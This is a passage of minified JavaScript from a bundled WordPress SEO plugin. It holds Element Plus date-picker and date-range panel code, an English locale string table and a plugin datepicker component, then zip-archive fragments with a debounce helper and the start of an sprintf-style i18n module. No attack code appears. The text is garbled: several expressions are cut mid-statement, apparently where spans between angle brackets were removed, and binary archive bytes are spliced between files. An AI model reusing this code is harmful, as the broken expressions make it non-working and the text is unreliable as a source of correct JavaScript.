nKeydown:Je},[C.value==="date"?(D(),de(sa,{key:0,ref_key:"currentViewRef",ref:y,"selection-mode":r(S),date:w.value,"parsed-value":$.parsedValue,"disabled-date":r(h),"cell-class-name":r(v),onPick:z},null,8,["selection-mode","date","parsed-value","disabled-date","cell-class-name"])):ne("v-if",!0),C.value==="year"?(D(),de(af,{key:1,ref_key:"currentViewRef",ref:y,date:w.value,"disabled-date":r(h),"parsed-value":$.parsedValue,onPick:te},null,8,["date","disabled-date","parsed-value"])):ne("v-if",!0),C.value==="month"?(D(),de(la,{key:2,ref_key:"currentViewRef",ref:y,date:w.value,"parsed-value":$.parsedValue,"disabled-date":r(h),onPick:G},null,8,["date","parsed-value","disabled-date"])):ne("v-if",!0)],34)],2)],2),ze(q("div",{class:A(r(o).e("footer"))},[ze(ee(r(On),{text:"",size:"small",class:A(r(o).e("link-btn")),disabled:r(Se),onClick:be},{default:le(()=>[mt(he(r(i)("el.datepicker.now")),1)]),_:1},8,["class","disabled"]),[[_t,r(S)!=="dates"]]),ee(r(On),{plain:"",size:"small",class:A(r(o).e("link-btn")),disabled:r(me),onClick:xe},{default:le(()=>[mt(he(r(i)("el.datepicker.confirm")),1)]),_:1},8,["class","disabled"])],2),[[_t,r(ve)&&C.value==="date"]])],2))}});var df=Ae(cf,[["__file","panel-date-pick.vue"]]);const ff=ye({...To,...Do}),pf=e=>{const{emit:t}=ft(),n=En(),a=$n();return s=>{const l=gt(s.value)?s.value():s.value;if(l){t("pick",[se(l[0]).locale(e.value),se(l[1]).locale(e.value)]);return}s.onClick&&s.onClick({attrs:n,slots:a,emit:t})}},Eo=(e,{defaultValue:t,leftDate:n,rightDate:a,unit:o,onParsedValueChanged:s})=>{const{emit:l}=ft(),{pickerNs:u}=Ce(Oa),i=Te("date-range-picker"),{t:f,lang:m}=pt(),d=pf(m),g=j(),h=j(),v=j({endDate:null,selecting:!1}),c=N=>{v.value=N},k=(N=!1)=>{const x=r(g),R=r(h);ra([x,R])&&l("pick",[x,R],N)},y=N=>{v.value.selecting=N,N||(v.value.endDate=null)},w=()=>{const[N,x]=Oo(r(t),{lang:r(m),unit:o,unlinkPanels:e.unlinkPanels});g.value=void 0,h.value=void 0,n.value=N,a.value=x};return fe(t,N=>{N&&w()},{immediate:!0}),fe(()=>e.parsedValue,N=>{if(Fe(N)&&N.length===2){const[x,R]=N;g.value=x,n.value=x,h.value=R,s(r(g),r(h))}else w()},{immediate:!0}),{minDate:g,maxDate:h,rangeState:v,lang:m,ppNs:u,drpNs:i,handleChangeRange:c,handleRangeConfirm:k,handleShortcutClick:d,onSelect:y,t:f}},vf=["onClick"],hf=["aria-label"],mf=["aria-label"],gf=["disabled","aria-label"],bf=["disabled","aria-label"],yf=["disabled","aria-label"],wf=["disabled","aria-label"],kf=["aria-label"],Sf=["aria-label"],kn="month",_f=re({__name:"panel-date-range",props:ff,emits:["pick","set-picker-option","calendar-change","panel-change"],setup(e,{emit:t}){const n=e,a=Ce("EP_PICKER_BASE"),{disabledDate:o,cellClassName:s,format:l,defaultTime:u,clearable:i}=a.props,f=Ve(a.props,"shortcuts"),m=Ve(a.props,"defaultValue"),{lang:d}=pt(),g=j(se().locale(d.value)),h=j(se().locale(d.value).add(1,kn)),{minDate:v,maxDate:c,rangeState:k,ppNs:y,drpNs:w,handleChangeRange:N,handleRangeConfirm:x,handleShortcutClick:R,onSelect:P,t:_}=Eo(n,{defaultValue:m,leftDate:g,rightDate:h,unit:kn,onParsedValueChanged:X}),O=j({min:null,max:null}),H=j({min:null,max:null}),V=T(()=>`${g.value.year()} ${_("el.datepicker.year")} ${_(`el.datepicker.month${g.value.month()+1}`)}`),B=T(()=>`${h.value.year()} ${_("el.datepicker.year")} ${_(`el.datepicker.month${h.value.month()+1}`)}`),J=T(()=>g.value.year()),U=T(()=>g.value.month()),z=T(()=>h.value.year()),L=T(()=>h.value.month()),F=T(()=>!!f.value.length),C=T(()=>O.value.min!==null?O.value.min:v.value?v.value.format(I.value):""),M=T(()=>O.value.max!==null?O.value.max:c.value||v.value?(c.value||v.value).format(I.value):""),p=T(()=>H.value.min!==null?H.value.min:v.value?v.value.format(E.value):""),S=T(()=>H.value.max!==null?H.value.max:c.value||v.value?(c.value||v.value).format(E.value):""),E=T(()=>n.timeFormat||mo(l)),I=T(()=>n.dateFormat||ho(l)),G=Y=>ra(Y)&&(o?!o(Y[0].toDate())&&!o(Y[1].toDate()):!0),te=()=>{g.value=g.value.subtract(1,"year"),n.unlinkPanels||(h.value=g.value.add(1,"month")),ge("year")},oe=()=>{g.value=g.value.subtract(1,"month"),n.unlinkPanels||(h.value=g.value.add(1,"month")),ge("month")},pe=()=>{n.unlinkPanels?h.value=h.value.add(1,"year"):(g.value=g.value.add(1,"year"),h.value=g.value.add(1,"month")),ge("year")},ve=()=>{n.unlinkPanels?h.value=h.value.add(1,"month"):(g.value=g.value.add(1,"month"),h.value=g.value.add(1,"month")),ge("month")},me=()=>{g.value=g.value.add(1,"year"),ge("year")},xe=()=>{g.value=g.value.add(1,"month"),ge("month")},Se=()=>{h.value=h.value.subtract(1,"year"),ge("year")},be=()=>{h.value=h.value.subtract(1,"month"),ge("month")},ge=Y=>{t("panel-change",[g.value.toDate(),h.value.toDate()],Y)},De=T(()=>{const Y=(U.value+1)%12,Q=U.value+1>=12?1:0;return n.unlinkPanels&&new Date(J.value+Q,Y)n.unlinkPanels&&z.value*12+L.value-(J.value*12+U.value+1)>=12),Ne=T(()=>!(v.value&&c.value&&!k.value.selecting&&ra([v.value,c.value]))),Re=T(()=>n.type==="datetime"||n.type==="datetimerange"),Ge=(Y,Q)=>{if(Y)return u?se(u[Q]||u).locale(d.value).year(Y.year()).month(Y.month()).date(Y.date()):Y},lt=(Y,Q=!0)=>{const b=Y.minDate,Z=Y.maxDate,ce=Ge(b,0),Pe=Ge(Z,1);c.value===Pe&&v.value===ce||(t("calendar-change",[b.toDate(),Z&&Z.toDate()]),c.value=Pe,v.value=ce,!(!Q||Re.value)&&x())},Le=j(!1),ie=j(!1),Ye=()=>{Le.value=!1},je=()=>{ie.value=!1},Ze=(Y,Q)=>{O.value[Q]=Y;const b=se(Y,I.value).locale(d.value);if(b.isValid()){if(o&&o(b.toDate()))return;Q==="min"?(g.value=b,v.value=(v.value||g.value).year(b.year()).month(b.month()).date(b.date()),!n.unlinkPanels&&(!c.value||c.value.isBefore(v.value))&&(h.value=b.add(1,"month"),c.value=v.value.add(1,"month"))):(h.value=b,c.value=(c.value||h.value).year(b.year()).month(b.month()).date(b.date()),!n.unlinkPanels&&(!v.value||v.value.isAfter(c.value))&&(g.value=b.subtract(1,"month"),v.value=c.value.subtract(1,"month")))}},He=(Y,Q)=>{O.value[Q]=null},W=(Y,Q)=>{H.value[Q]=Y;const b=se(Y,E.value).locale(d.value);b.isValid()&&(Q==="min"?(Le.value=!0,v.value=(v.value||g.value).hour(b.hour()).minute(b.minute()).second(b.second()),(!c.value||c.value.isBefore(v.value))&&(c.value=v.value)):(ie.value=!0,c.value=(c.value||h.value).hour(b.hour()).minute(b.minute()).second(b.second()),h.value=c.value,c.value&&c.value.isBefore(v.value)&&(v.value=c.value)))},ue=(Y,Q)=>{H.value[Q]=null,Q==="min"?(g.value=v.value,Le.value=!1):(h.value=c.value,ie.value=!1)},we=(Y,Q,b)=>{H.value.min||(Y&&(g.value=Y,v.value=(v.value||g.value).hour(Y.hour()).minute(Y.minute()).second(Y.second())),b||(Le.value=Q),(!c.value||c.value.isBefore(v.value))&&(c.value=v.value,h.value=Y))},Je=(Y,Q,b)=>{H.value.max||(Y&&(h.value=Y,c.value=(c.value||h.value).hour(Y.hour()).minute(Y.minute()).second(Y.second())),b||(ie.value=Q),c.value&&c.value.isBefore(v.value)&&(v.value=c.value))},vt=()=>{g.value=Oo(r(m),{lang:r(d),unit:"month",unlinkPanels:n.unlinkPanels})[0],h.value=g.value.add(1,"month"),t("pick",null)},Dt=Y=>Fe(Y)?Y.map(Q=>Q.format(l)):Y.format(l),$=Y=>Fe(Y)?Y.map(Q=>se(Q,l).locale(d.value)):se(Y,l).locale(d.value);function X(Y,Q){if(n.unlinkPanels&&Q){const b=(Y==null?void 0:Y.year())||0,Z=(Y==null?void 0:Y.month())||0,ce=Q.year(),Pe=Q.month();h.value=b===ce&&Z===Pe?Q.add(1,kn):Q}else h.value=g.value.add(1,kn),Q&&(h.value=h.value.hour(Q.hour()).minute(Q.minute()).second(Q.second()))}return t("set-picker-option",["isValidValue",G]),t("set-picker-option",["parseUserInput",$]),t("set-picker-option",["formatToString",Dt]),t("set-picker-option",["handleClear",vt]),(Y,Q)=>(D(),K("div",{class:A([r(y).b(),r(w).b(),{"has-sidebar":Y.$slots.sidebar||r(F),"has-time":r(Re)}])},[q("div",{class:A(r(y).e("body-wrapper"))},[$e(Y.$slots,"sidebar",{class:A(r(y).e("sidebar"))}),r(F)?(D(),K("div",{key:0,class:A(r(y).e("sidebar"))},[(D(!0),K(_e,null,We(r(f),(b,Z)=>(D(),K("button",{key:Z,type:"button",class:A(r(y).e("shortcut")),onClick:ce=>r(R)(b)},he(b.text),11,vf))),128))],2)):ne("v-if",!0),q("div",{class:A(r(y).e("body"))},[r(Re)?(D(),K("div",{key:0,class:A(r(w).e("time-header"))},[q("span",{class:A(r(w).e("editors-wrap"))},[q("span",{class:A(r(w).e("time-picker-wrap"))},[ee(r(Ft),{size:"small",disabled:r(k).selecting,placeholder:r(_)("el.datepicker.startDate"),class:A(r(w).e("editor")),"model-value":r(C),"validate-event":!1,onInput:Q[0]||(Q[0]=b=>Ze(b,"min")),onChange:Q[1]||(Q[1]=b=>He(b,"min"))},null,8,["disabled","placeholder","class","model-value"])],2),ze((D(),K("span",{class:A(r(w).e("time-picker-wrap"))},[ee(r(Ft),{size:"small",class:A(r(w).e("editor")),disabled:r(k).selecting,placeholder:r(_)("el.datepicker.startTime"),"model-value":r(p),"validate-event":!1,onFocus:Q[2]||(Q[2]=b=>Le.value=!0),onInput:Q[3]||(Q[3]=b=>W(b,"min")),onChange:Q[4]||(Q[4]=b=>ue(b,"min"))},null,8,["class","disabled","placeholder","model-value"]),ee(r(aa),{visible:Le.value,format:r(E),"datetime-role":"start","parsed-value":g.value,onPick:we},null,8,["visible","format","parsed-value"])],2)),[[r(na),Ye]])],2),q("span",null,[ee(r(ke),null,{default:le(()=>[ee(r(Cn))]),_:1})]),q("span",{class:A([r(w).e("editors-wrap"),"is-right"])},[q("span",{class:A(r(w).e("time-picker-wrap"))},[ee(r(Ft),{size:"small",class:A(r(w).e("editor")),disabled:r(k).selecting,placeholder:r(_)("el.datepicker.endDate"),"model-value":r(M),readonly:!r(v),"validate-event":!1,onInput:Q[5]||(Q[5]=b=>Ze(b,"max")),onChange:Q[6]||(Q[6]=b=>He(b,"max"))},null,8,["class","disabled","placeholder","model-value","readonly"])],2),ze((D(),K("span",{class:A(r(w).e("time-picker-wrap"))},[ee(r(Ft),{size:"small",class:A(r(w).e("editor")),disabled:r(k).selecting,placeholder:r(_)("el.datepicker.endTime"),"model-value":r(S),readonly:!r(v),"validate-event":!1,onFocus:Q[7]||(Q[7]=b=>r(v)&&(ie.value=!0)),onInput:Q[8]||(Q[8]=b=>W(b,"max")),onChange:Q[9]||(Q[9]=b=>ue(b,"max"))},null,8,["class","disabled","placeholder","model-value","readonly"]),ee(r(aa),{"datetime-role":"end",visible:ie.value,format:r(E),"parsed-value":h.value,onPick:Je},null,8,["visible","format","parsed-value"])],2)),[[r(na),je]])],2)],2)):ne("v-if",!0),q("div",{class:A([[r(y).e("content"),r(w).e("content")],"is-left"])},[q("div",{class:A(r(w).e("header"))},[q("button",{type:"button",class:A([r(y).e("icon-btn"),"d-arrow-left"]),"aria-label":r(_)("el.datepicker.prevYear"),onClick:te},[ee(r(ke),null,{default:le(()=>[ee(r(dn))]),_:1})],10,hf),q("button",{type:"button",class:A([r(y).e("icon-btn"),"arrow-left"]),"aria-label":r(_)("el.datepicker.prevMonth"),onClick:oe},[ee(r(ke),null,{default:le(()=>[ee(r(Xn))]),_:1})],10,mf),Y.unlinkPanels?(D(),K("button",{key:0,type:"button",disabled:!r(Ie),class:A([[r(y).e("icon-btn"),{"is-disabled":!r(Ie)}],"d-arrow-right"]),"aria-label":r(_)("el.datepicker.nextYear"),onClick:me},[ee(r(ke),null,{default:le(()=>[ee(r(fn))]),_:1})],10,gf)):ne("v-if",!0),Y.unlinkPanels?(D(),K("button",{key:1,type:"button",disabled:!r(De),class:A([[r(y).e("icon-btn"),{"is-disabled":!r(De)}],"arrow-right"]),"aria-label":r(_)("el.datepicker.nextMonth"),onClick:xe},[ee(r(ke),null,{default:le(()=>[ee(r(Cn))]),_:1})],10,bf)):ne("v-if",!0),q("div",null,he(r(V)),1)],2),ee(sa,{"selection-mode":"range",date:g.value,"min-date":r(v),"max-date":r(c),"range-state":r(k),"disabled-date":r(o),"cell-class-name":r(s),onChangerange:r(N),onPick:lt,onSelect:r(P)},null,8,["date","min-date","max-date","range-state","disabled-date","cell-class-name","onChangerange","onSelect"])],2),q("div",{class:A([[r(y).e("content"),r(w).e("content")],"is-right"])},[q("div",{class:A(r(w).e("header"))},[Y.unlinkPanels?(D(),K("button",{key:0,type:"button",disabled:!r(Ie),class:A([[r(y).e("icon-btn"),{"is-disabled":!r(Ie)}],"d-arrow-left"]),"aria-label":r(_)("el.datepicker.prevYear"),onClick:Se},[ee(r(ke),null,{default:le(()=>[ee(r(dn))]),_:1})],10,yf)):ne("v-if",!0),Y.unlinkPanels?(D(),K("button",{key:1,type:"button",disabled:!r(De),class:A([[r(y).e("icon-btn"),{"is-disabled":!r(De)}],"arrow-left"]),"aria-label":r(_)("el.datepicker.prevMonth"),onClick:be},[ee(r(ke),null,{default:le(()=>[ee(r(Xn))]),_:1})],10,wf)):ne("v-if",!0),q("button",{type:"button","aria-label":r(_)("el.datepicker.nextYear"),class:A([r(y).e("icon-btn"),"d-arrow-right"]),onClick:pe},[ee(r(ke),null,{default:le(()=>[ee(r(fn))]),_:1})],10,kf),q("button",{type:"button",class:A([r(y).e("icon-btn"),"arrow-right"]),"aria-label":r(_)("el.datepicker.nextMonth"),onClick:ve},[ee(r(ke),null,{default:le(()=>[ee(r(Cn))]),_:1})],10,Sf),q("div",null,he(r(B)),1)],2),ee(sa,{"selection-mode":"range",date:h.value,"min-date":r(v),"max-date":r(c),"range-state":r(k),"disabled-date":r(o),"cell-class-name":r(s),onChangerange:r(N),onPick:lt,onSelect:r(P)},null,8,["date","min-date","max-date","range-state","disabled-date","cell-class-name","onChangerange","onSelect"])],2)],2)],2),r(Re)?(D(),K("div",{key:0,class:A(r(y).e("footer"))},[r(i)?(D(),de(r(On),{key:0,text:"",size:"small",class:A(r(y).e("link-btn")),onClick:vt},{default:le(()=>[mt(he(r(_)("el.datepicker.clear")),1)]),_:1},8,["class"])):ne("v-if",!0),ee(r(On),{plain:"",size:"small",class:A(r(y).e("link-btn")),disabled:r(Ne),onClick:Q[10]||(Q[10]=b=>r(x)(!1))},{default:le(()=>[mt(he(r(_)("el.datepicker.confirm")),1)]),_:1},8,["class","disabled"])],2)):ne("v-if",!0)],2))}});var Cf=Ae(_f,[["__file","panel-date-range.vue"]]);const xf=ye({...Do}),Mf=["pick","set-picker-option","calendar-change"],Tf=({unlinkPanels:e,leftDate:t,rightDate:n})=>{const{t:a}=pt(),o=()=>{t.value=t.value.subtract(1,"year"),e.value||(n.value=n.value.subtract(1,"year"))},s=()=>{e.value||(t.value=t.value.add(1,"year")),n.value=n.value.add(1,"year")},l=()=>{t.value=t.value.add(1,"year")},u=()=>{n.value=n.value.subtract(1,"year")},i=T(()=>`${t.value.year()} ${a("el.datepicker.year")}`),f=T(()=>`${n.value.year()} ${a("el.datepicker.year")}`),m=T(()=>t.value.year()),d=T(()=>n.value.year()===t.value.year()?t.value.year()+1:n.value.year());return{leftPrevYear:o,rightNextYear:s,leftNextYear:l,rightPrevYear:u,leftLabel:i,rightLabel:f,leftYear:m,rightYear:d}},Df=["onClick"],Pf=["disabled"],Of=["disabled"],Sn="year",Ef=re({name:"DatePickerMonthRange"}),$f=re({...Ef,props:xf,emits:Mf,setup(e,{emit:t}){const n=e,{lang:a}=pt(),o=Ce("EP_PICKER_BASE"),{shortcuts:s,disabledDate:l,format:u}=o.props,i=Ve(o.props,"defaultValue"),f=j(se().locale(a.value)),m=j(se().locale(a.value).add(1,Sn)),{minDate:d,maxDate:g,rangeState:h,ppNs:v,drpNs:c,handleChangeRange:k,handleRangeConfirm:y,handleShortcutClick:w,onSelect:N}=Eo(n,{defaultValue:i,leftDate:f,rightDate:m,unit:Sn,onParsedValueChanged:F}),x=T(()=>!!s.length),{leftPrevYear:R,rightNextYear:P,leftNextYear:_,rightPrevYear:O,leftLabel:H,rightLabel:V,leftYear:B,rightYear:J}=Tf({unlinkPanels:Ve(n,"unlinkPanels"),leftDate:f,rightDate:m}),U=T(()=>n.unlinkPanels&&J.value>B.value+1),z=(C,M=!0)=>{const p=C.minDate,S=C.maxDate;g.value===S&&d.value===p||(t("calendar-change",[p.toDate(),S&&S.toDate()]),g.value=S,d.value=p,M&&y())},L=C=>C.map(M=>M.format(u));function F(C,M){if(n.unlinkPanels&&M){const p=(C==null?void 0:C.year())||0,S=M.year();m.value=p===S?M.add(1,Sn):M}else m.value=f.value.add(1,Sn)}return t("set-picker-option",["formatToString",L]),(C,M)=>(D(),K("div",{class:A([r(v).b(),r(c).b(),{"has-sidebar":!!C.$slots.sidebar||r(x)}])},[q("div",{class:A(r(v).e("body-wrapper"))},[$e(C.$slots,"sidebar",{class:A(r(v).e("sidebar"))}),r(x)?(D(),K("div",{key:0,class:A(r(v).e("sidebar"))},[(D(!0),K(_e,null,We(r(s),(p,S)=>(D(),K("button",{key:S,type:"button",class:A(r(v).e("shortcut")),onClick:E=>r(w)(p)},he(p.text),11,Df))),128))],2)):ne("v-if",!0),q("div",{class:A(r(v).e("body"))},[q("div",{class:A([[r(v).e("content"),r(c).e("content")],"is-left"])},[q("div",{class:A(r(c).e("header"))},[q("button",{type:"button",class:A([r(v).e("icon-btn"),"d-arrow-left"]),onClick:M[0]||(M[0]=(...p)=>r(R)&&r(R)(...p))},[ee(r(ke),null,{default:le(()=>[ee(r(dn))]),_:1})],2),C.unlinkPanels?(D(),K("button",{key:0,type:"button",disabled:!r(U),class:A([[r(v).e("icon-btn"),{[r(v).is("disabled")]:!r(U)}],"d-arrow-right"]),onClick:M[1]||(M[1]=(...p)=>r(_)&&r(_)(...p))},[ee(r(ke),null,{default:le(()=>[ee(r(fn))]),_:1})],10,Pf)):ne("v-if",!0),q("div",null,he(r(H)),1)],2),ee(la,{"selection-mode":"range",date:f.value,"min-date":r(d),"max-date":r(g),"range-state":r(h),"disabled-date":r(l),onChangerange:r(k),onPick:z,onSelect:r(N)},null,8,["date","min-date","max-date","range-state","disabled-date","onChangerange","onSelect"])],2),q("div",{class:A([[r(v).e("content"),r(c).e("content")],"is-right"])},[q("div",{class:A(r(c).e("header"))},[C.unlinkPanels?(D(),K("button",{key:0,type:"button",disabled:!r(U),class:A([[r(v).e("icon-btn"),{"is-disabled":!r(U)}],"d-arrow-left"]),onClick:M[2]||(M[2]=(...p)=>r(O)&&r(O)(...p))},[ee(r(ke),null,{default:le(()=>[ee(r(dn))]),_:1})],10,Of)):ne("v-if",!0),q("button",{type:"button",class:A([r(v).e("icon-btn"),"d-arrow-right"]),onClick:M[3]||(M[3]=(...p)=>r(P)&&r(P)(...p))},[ee(r(ke),null,{default:le(()=>[ee(r(fn))]),_:1})],2),q("div",null,he(r(V)),1)],2),ee(la,{"selection-mode":"range",date:m.value,"min-date":r(d),"max-date":r(g),"range-state":r(h),"disabled-date":r(l),onChangerange:r(k),onPick:z,onSelect:r(N)},null,8,["date","min-date","max-date","range-state","disabled-date","onChangerange","onSelect"])],2)],2)],2)],2))}});var Af=Ae($f,[["__file","panel-month-range.vue"]]);const Rf=function(e){switch(e){case"daterange":case"datetimerange":return Cf;case"monthrange":return Af;default:return df}};se.extend(hd);se.extend(gd);se.extend(qc);se.extend(yd);se.extend(kd);se.extend(_d);se.extend(xd);se.extend(Td);var If=re({name:"ElDatePicker",install:null,props:Dd,emits:["update:modelValue"],setup(e,{expose:t,emit:n,slots:a}){const o=Te("picker-panel");dt("ElPopperOptions",ua(Ve(e,"popperOptions"))),dt(Oa,{slots:a,pickerNs:o});const s=j();t({focus:(i=!0)=>{var f;(f=s.value)==null||f.focus(i)},handleOpen:()=>{var i;(i=s.value)==null||i.handleOpen()},handleClose:()=>{var i;(i=s.value)==null||i.handleClose()}});const u=i=>{n("update:modelValue",i)};return()=>{var i;const f=(i=e.format)!=null?i:Gc[e.type]||Kt,m=Rf(e.type);return ee(td,bt(e,{format:f,type:e.type,ref:s,"onUpdate:modelValue":u}),{default:d=>ee(m,d,null),"range-separator":a["range-separator"]})}}});const xn=If;xn.install=e=>{e.component(xn.name,xn)};const Ff=xn;/*! Element Plus v2.5.5 */var Nf={name:"en",el:{colorpicker:{confirm:"OK",clear:"Clear",defaultLabel:"color picker",description:"current color is {color}. press enter to select a new color."},datepicker:{now:"Now",today:"Today",cancel:"Cancel",clear:"Clear",confirm:"OK",dateTablePrompt:"Use the arrow keys and enter to select the day of the month",monthTablePrompt:"Use the arrow keys and enter to select the month",yearTablePrompt:"Use the arrow keys and enter to select the year",selectedDate:"Selected date",selectDate:"Select date",selectTime:"Select time",startDate:"Start Date",startTime:"Start Time",endDate:"End Date",endTime:"End Time",prevYear:"Previous Year",nextYear:"Next Year",prevMonth:"Previous Month",nextMonth:"Next Month",year:"",month1:"January",month2:"February",month3:"March",month4:"April",month5:"May",month6:"June",month7:"July",month8:"August",month9:"September",month10:"October",month11:"November",month12:"December",week:"week",weeks:{sun:"Sun",mon:"Mon",tue:"Tue",wed:"Wed",thu:"Thu",fri:"Fri",sat:"Sat"},weeksFull:{sun:"Sunday",mon:"Monday",tue:"Tuesday",wed:"Wednesday",thu:"Thursday",fri:"Friday",sat:"Saturday"},months:{jan:"Jan",feb:"Feb",mar:"Mar",apr:"Apr",may:"May",jun:"Jun",jul:"Jul",aug:"Aug",sep:"Sep",oct:"Oct",nov:"Nov",dec:"Dec"}},inputNumber:{decrease:"decrease number",increase:"increase number"},select:{loading:"Loading",noMatch:"No matching data",noData:"No data",placeholder:"Select"},dropdown:{toggleDropdown:"Toggle Dropdown"},cascader:{noMatch:"No matching data",loading:"Loading",placeholder:"Select",noData:"No data"},pagination:{goto:"Go to",pagesize:"/page",total:"Total {total}",pageClassifier:"",page:"Page",prev:"Go to previous page",next:"Go to next page",currentPage:"page {pager}",prevPages:"Previous {pager} pages",nextPages:"Next {pager} pages",deprecationWarning:"Deprecated usages detected, please refer to the el-pagination documentation for more details"},dialog:{close:"Close this dialog"},drawer:{close:"Close this dialog"},messagebox:{title:"Message",confirm:"OK",cancel:"Cancel",error:"Illegal input",close:"Close this dialog"},upload:{deleteTip:"press delete to remove",delete:"Delete",preview:"Preview",continue:"Continue"},slider:{defaultLabel:"slider between {min} and {max}",defaultRangeStartLabel:"pick start value",defaultRangeEndLabel:"pick end value"},table:{emptyText:"No Data",confirmFilter:"Confirm",resetFilter:"Reset",clearFilter:"All",sumText:"Sum"},tour:{next:"Next",previous:"Previous",finish:"Finish"},tree:{emptyText:"No Data"},transfer:{noMatch:"No matching data",noData:"No data",titles:["List 1","List 2"],filterPlaceholder:"Enter keyword",noCheckedFormat:"{total} items",hasCheckedFormat:"{checked}/{total} checked"},image:{error:"FAILED"},pageHeader:{title:"Back"},popconfirm:{confirmButtonText:"Yes",cancelButtonText:"No"}}};const Lf={setup(){return{rootStore:Ro(),locale:Nf}},emits:["change","updated"],components:{ElDatePicker:Ff,SvgCalendar:os,SvgCircleClose:Uo},props:{size:{type:String,default(){return"default"}},type:{type:String,default(){return"daterange"}},separator:{type:String,default(){return"-"}},clearable:{type:Boolean,default(){return!0}},isDisabledDate:{type:Function,default(){return!1}},shortcuts:{type:Array,default(){return[]}},defaultRolling:{type:String,default(){return null}},placeholder:{type:String,default(){return null}},dateFormat:String,defaultValue:[Array,Object]},data(){return{rolling:null,value:null,strings:{startDate:this.$t.__("Start Date",this.$td),endDate:this.$t.__("End Date",this.$td)}}},computed:{format(){return this.dateFormat||this.rootStore.aioseo.data.dateFormat},label(){if(!this.value)return" ";if(!this.isDateRange)return Ln(this.value,this.format);const e=Ln(this.value[0],this.format),t=Ln(this.value[1],this.format);return[e,t]},isDateRange(){return Array.isArray(this.value)}},methods:{openPicker(){this.$refs.picker.focus()},clear(){this.value=null,this.$emit("change",this.value,this.rolling)}},mounted(){this.$nextTick(()=>{!this.value&&this.defaultValue&&(this.value=this.defaultValue)}),this.rolling=this.defaultRolling,window.aioseoBus.$on("rolling",e=>{this.rolling=e}),this.$emit("updated",this.rolling)},updated(){this.$emit("updated",this.rolling),this.$nextTick(()=>{this.rolling=""})}},Vf={class:"aioseo-datepicker"},Bf={class:"label"},Hf={key:0},zf={key:1,class:"placeholder"};function Yf(e,t,n,a,o,s){const l=Vn("el-date-picker"),u=Vn("svg-calendar"),i=Vn("svg-circle-close");return D(),K("div",Vf,[ee(l,{modelValue:o.value,"onUpdate:modelValue":t[0]||(t[0]=f=>o.value=f),ref:"picker",type:n.type,size:n.size,"range-separator":n.separator,onChange:t[1]||(t[1]=f=>e.$emit("change",f,o.rolling)),clearable:!1,shortcuts:n.shortcuts,"disabled-date":n.isDisabledDate,"start-placeholder":o.strings.startDate,"end-placeholder":o.strings.endDate},null,8,["modelValue","type","size","range-separator","shortcuts","disabled-date","start-placeholder","end-placeholder"]),q("div",{class:A(["aioseo-datepicker-picker",[`aioseo-datepicker-picker--${n.size}`]]),onClick:t[3]||(t[3]=(...f)=>s.openPicker&&s.openPicker(...f))},[ee(u),q("div",Bf,[s.isDateRange?(D(),K(_e,{key:0},[mt(he(s.label[0])+" ",1),q("span",null,he(n.separator),1),mt(" "+he(s.label[1]),1)],64)):ne("",!0),s.isDateRange?ne("",!0):(D(),K(_e,{key:1},[s.label.trim()?(D(),K("span",Hf,he(s.label),1)):ne("",!0),!s.label.trim()&&n.placeholder?(D(),K("span",zf,he(n.placeholder),1)):ne("",!0)],64))]),n.clearable&&o.value?(D(),K("div",{key:0,class:"clear",onClick:t[2]||(t[2]=et((...f)=>s.clear&&s.clear(...f),["stop"]))},[ee(i)])):ne("",!0)],2)])}const Xf=Tr(Lf,[["render",Yf]]);export{Xf as B,Qo as i}; PKÉ—[†!í 44<all-in-one-seo-pack/dist/Lite/assets/js/debounce.vOAperWf.jsnu„[µü¤import{r as b,i as C}from"./isArrayLikeObject.CkjpbQo7.js";import{t as k}from"./toNumber.DHWd7Z3r.js";var _=function(){return b.Date.now()},M="Expected a function",R=Math.max,S=Math.min;function O(x,t,u){var a,c,m,o,e,r,l=0,T=!1,s=!1,g=!0;if(typeof x!="function")throw new TypeError(M);t=k(t)||0,C(u)&&(T=!!u.leading,s="maxWait"in u,m=s?R(k(u.maxWait)||0,t):m,g="trailing"in u?!!u.trailing:g);function p(n){var i=a,f=c;return a=c=void 0,l=n,o=x.apply(f,i),o}function I(n){return l=n,e=setTimeout(d,t),T?p(n):o}function L(n){var i=n-r,f=n-l,E=t-i;return s?S(E,m-f):E}function y(n){var i=n-r,f=n-l;return r===void 0||i>=t||i<0||s&&f>=m}function d(){var n=_();if(y(n))return h(n);e=setTimeout(d,L(n))}function h(n){return e=void 0,g&&a?p(n):(a=c=void 0,o)}function A(){e!==void 0&&clearTimeout(e),l=0,a=r=c=e=void 0}function W(){return e===void 0?o:h(_())}function v(){var n=_(),i=y(n);if(a=arguments,c=this,r=n,i){if(e===void 0)return I(r);if(s)return clearTimeout(e),e=setTimeout(d,t),p(r)}return e===void 0&&(e=setTimeout(d,t)),o}return v.cancel=A,v.flush=W,v}export{O as d}; PKÉ—[&ÉÎP0P0@all-in-one-seo-pack/dist/Lite/assets/js/default-i18n.BtxsUzQk.jsnu„[µü¤function G(t,e){var r=0,n,i;e=e||{};function c(){var o=n,l=arguments.length,d,u;t:for(;o;){if(o.args.length!==arguments.length){o=o.next;continue}for(u=0;u=0),f.type){case"b":s=parseInt(s,10).toString(2);break;case"c":s=String.fromCharCode(parseInt(s,10));break;case"d":case"i":s=parseInt(s,10);break;case"j":s=JSON.stringify(s,null,f.width?parseInt(f.width):0);break;case"e":s=f.precision?parseFloat(s).toExponential(f.precision):parseFloat(s).toExponential();break;case"f":s=f.precision?parseFloat(s).toFixed(f.precision):parseFloat(s);break;case"g":s=f.precision?String(Number(s.toPrecision(f.precision))):parseFloat(s);break;case"o":s=(parseInt(s,10)>>>0).toString(8);break;case"s":s=String(s),s=f.precision?s.substring(0,f.precision):s;break;case"t":s=String(!!s),s=f.precision?s.substring(0,f.precision):s;break;case"T":s=Object.prototype.toString.call(s).slice(8,-1).toLowerCase(),s=f.precision?s.substring(0,f.precision):s;break;case"u":s=parseInt(s,10)>>>0;break;case"v":s=s.valueOf(),s=f.precision?s.substring(0,f.precision):s;break;case"x":s=(parseInt(s,10)>>>0).toString(16);break;case"X":s=(parseInt(s,10)>>>0).toString(16).toUpperCase();break}e.json.test(f.type)?w+=s:(e.number.test(f.type)&&(!S||f.sign)?(a=S?"+":"-",s=s.toString().replace(e.sign,"")):a="",m=f.pad_char?f.pad_char==="0"?"0":f.pad_char.charAt(1):" ",E=f.width-(a+s).length,A=f.width&&E>0?m.repeat(E):"",w+=f.align?a+s+A:m==="0"?a+A+s:A+a+s)}return w}var c=Object.create(null);function o(l){if(c[l])return c[l];for(var d=l,u,_=[],s=0;d;){if((u=e.text.exec(d))!==null)_.push(u[0]);else if((u=e.modulo.exec(d))!==null)_.push("%");else 